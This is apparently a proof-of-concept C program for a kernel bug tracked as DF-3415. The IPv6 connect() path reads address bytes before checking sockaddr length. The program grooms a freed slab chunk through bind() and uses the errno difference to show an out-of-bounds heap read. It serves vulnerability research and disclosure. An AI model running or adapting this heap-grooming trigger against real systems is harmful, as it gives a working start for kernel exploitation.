DF-3415 / in6_v4mapped_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 | /* * DF-3415 -- in6_pcbconnect() reads sin6_addr before sa_len validation * (DF-3357/DF-3372 sockaddr read-before-validate family, v6 twin) * * Victim path (per-packet flow): * connect(2) -> getsockaddr(): sa = kmalloc(len, M_SONAME) [EXACT len, * len in [2..255], user bytes copied over bytes 0..len-1, * sa->sa_len = len] * -> soconnect -> so_pru_connect -> (netisr) udp6_connect() * udp6_usrreq.c:596 IN6_IS_ADDR_V4MAPPED(&sin6_p->sin6_addr) <- reads * bytes 8..23 * -> in6_pcbconnect() * sys/netinet6/in6_pcb.c:344 IN6_IS_ADDR_V4MAPPED(&sin6->sin6_addr) * ^^^ reads sin6_addr (file offsets 8..23) * BEFORE in6_pcbladdr() validates * nam->sa_len == 28 (in6_pcb.c:282) * * IN6_IS_ADDR_V4MAPPED(a) tests (bytes at file offsets 8..19): * bytes 8..11 == 0, bytes 12..15 == 0, bytes 16..19 == 00 00 ff ff * * Slab mechanics (sys/kern/kern_slaballoc.c): * zoneindex(): sizes 17..24 all round to the 24-byte chunk zone. * kfree() (local cpu) only writes chunk->c_Next (bytes 0..7) and pushes the * chunk onto the per-zone LIFO list z_LChunks; bytes 8..23 survive. * => bind() with a 24-byte sockaddr allocates and frees a 24-byte M_SONAME * chunk on the syscall thread; an immediately following connect() with a * 17-byte sockaddr gets the SAME chunk, and its bytes 17..23 are stale * groom bytes that were never part of the user-supplied sockaddr. * * Oracle: * A) groom bytes 17..19 = 00 ff ff -> v4-mapped pattern completes -> * connect() returns EADDRNOTAVAIL (decided by OOB-read stale bytes) * B) groom bytes 17..19 = 00 00 00 -> pattern broken -> sa_len check in * in6_pcbladdr() finally runs -> EINVAL * A and B differ ONLY in heap bytes that lie OUTSIDE the 17-byte sockaddr * the user handed to connect(). A==EADDRNOTAVAIL / B==EINVAL proves the * kernel consumed out-of-bounds heap bytes before validating sa_len. */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #define RUNS 20 static int do_round(unsigned char g17, unsigned char g18, unsigned char g19, int groom) { unsigned char sa24[24], sa17[17]; int s, r; /* groom chunk: 24-byte sockaddr (24 and 17 share the 24-byte zone) */ memset(sa24, 0, sizeof(sa24)); sa24[0] = 24; /* overwritten by getsockaddr anyway */ sa24[1] = AF_INET6; /* v4-mapped completion bytes live at offsets 17..19: outside the * 17-byte trigger sockaddr, inside the 24-byte groom sockaddr */ sa24[17] = g17; sa24[18] = g18; sa24[19] = g19; /* trigger chunk: 17-byte sockaddr; user controls bytes 0..16 only */ memset(sa17, 0, sizeof(sa17)); sa17[0] = 17; sa17[1] = AF_INET6; /* bytes 8..16 left 0x00 */ s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return -1; } if (groom) { /* udp6_bind/in6_pcbbind reject it (bad sa_len / v4-mapped); * all that matters: the M_SONAME chunk is freed in-thread */ (void)bind(s, (struct sockaddr *)sa24, 24); } errno = 0; r = connect(s, (struct sockaddr *)sa17, 17); if (r == 0) { close(s); return 0; /* succeeded (no error) */ } close(s); return errno; } int main(void) { int i, e; int a_mapped = 0, a_einval = 0, a_other = 0; int b_mapped = 0, b_einval = 0, b_other = 0; int c_mapped = 0, c_einval = 0, c_other = 0; printf("AF_INET6=%d SOCK_DGRAM=%d RUNS=%d\n", AF_INET6, SOCK_DGRAM, RUNS); printf("bytes 17..19 of sin6_addr are past the 17-byte sockaddr that\n" "connect(2) copied in; they come from a freed 24-byte M_SONAME\n" "chunk groomed by the preceding bind(2).\n\n"); for (i = 0; i < RUNS; i++) { e = do_round(0x00, 0xff, 0xff, 1); /* mapped pattern */ if (e == EADDRNOTAVAIL) a_mapped++; else if (e == EINVAL) a_einval++; else a_other++; if (i == 0) printf("A(groom 00 ff ff) first errno=%d (%s)\n", e, e > 0 ? strerror(e) : "SUCCESS"); e = do_round(0x00, 0x00, 0x00, 1); /* pattern broken */ if (e == EADDRNOTAVAIL) b_mapped++; else if (e == EINVAL) b_einval++; else b_other++; if (i == 0) printf("B(groom 00 00 00) first errno=%d (%s)\n", e, e > 0 ? strerror(e) : "SUCCESS"); e = do_round(0, 0, 0, 0); /* no groom */ if (e == EADDRNOTAVAIL) c_mapped++; else if (e == EINVAL) c_einval++; else c_other++; if (i == 0) printf("C(no groom) first errno=%d (%s)\n", e, e > 0 ? strerror(e) : "SUCCESS"); } printf("\nsummary over %d rounds per variant:\n", RUNS); printf(" A groom 00 ff ff : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n", a_mapped, a_einval, a_other); printf(" B groom 00 00 00 : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n", b_mapped, b_einval, b_other); printf(" C no groom : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n", c_mapped, c_einval, c_other); if (a_mapped > 0 && b_einval > 0 && a_mapped > b_mapped) { printf("\nRESULT: VULNERABLE -- connect(2) error code is chosen " "by heap bytes OUTSIDE the supplied sockaddr length " "(read before sa_len validation).\n"); return 0; } printf("\nRESULT: no differential observed.\n"); return 2; } |